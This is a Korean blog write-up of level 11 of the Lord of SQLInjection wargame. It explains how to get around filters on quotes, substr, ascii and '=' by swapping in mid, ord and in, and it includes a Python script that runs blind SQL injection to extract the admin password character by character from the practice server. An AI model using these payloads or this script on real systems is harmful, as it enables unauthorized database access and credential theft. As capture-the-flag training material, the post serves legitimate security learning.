[LOS] Level11: darkknight
두비니
·2020. 1. 9. 16:34
Lord Of SQLInjection: lv.11 darkknight
darkknight입니다.
no변수에는 싱글쿼리, substr, ascii, =를 못쓰고 pw에는 싱글쿼리만 못쓰네요.
그리고 문제 풀이조건은 pw를 찾아내야하네요.
pw를 찾을 때 substr >> mid
ascii >> ord
= >> in
함수들을 각각 이용해주면 되겠습니다.
일단 Hello admin까지는 성공했네요.
이제 pw를 알아내야 하는데, 이건 우리가 해왔던대로 쭉 하면 됩니다.
이렇게 하니 문제없이 blind sql을 할 수 있네요. 대신 python코드를 짤때는 in('+str(j)+') 이런식으로 해야겠죠?
import httplib
headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=dcn2bc98j1qi3tg1khqovbugv5'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
for j in range(32, 128):
conn.request('GET', '/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1%20or%20id%20in(0x61646d696e)%20and%20ord(mid(pw,'+str(i)+',1))%20in("'+str(j)+'")','',headers)
r1 = conn.getresponse().read()
if "Hello admin" in r1:
pw += chr(j)
print pw
break
너무쉽죠?
'War Games > Lord of SQLInjection' 카테고리의 다른 글
[LOS] Level14: assassin (0) | 2020.01.12 |
---|---|
[LOS] Level13: giant (0) | 2020.01.11 |
[LOS] Level10: golem (0) | 2020.01.08 |
[LOS] Level9: skeleton (0) | 2020.01.07 |
[LOS] Level8: orge (0) | 2020.01.06 |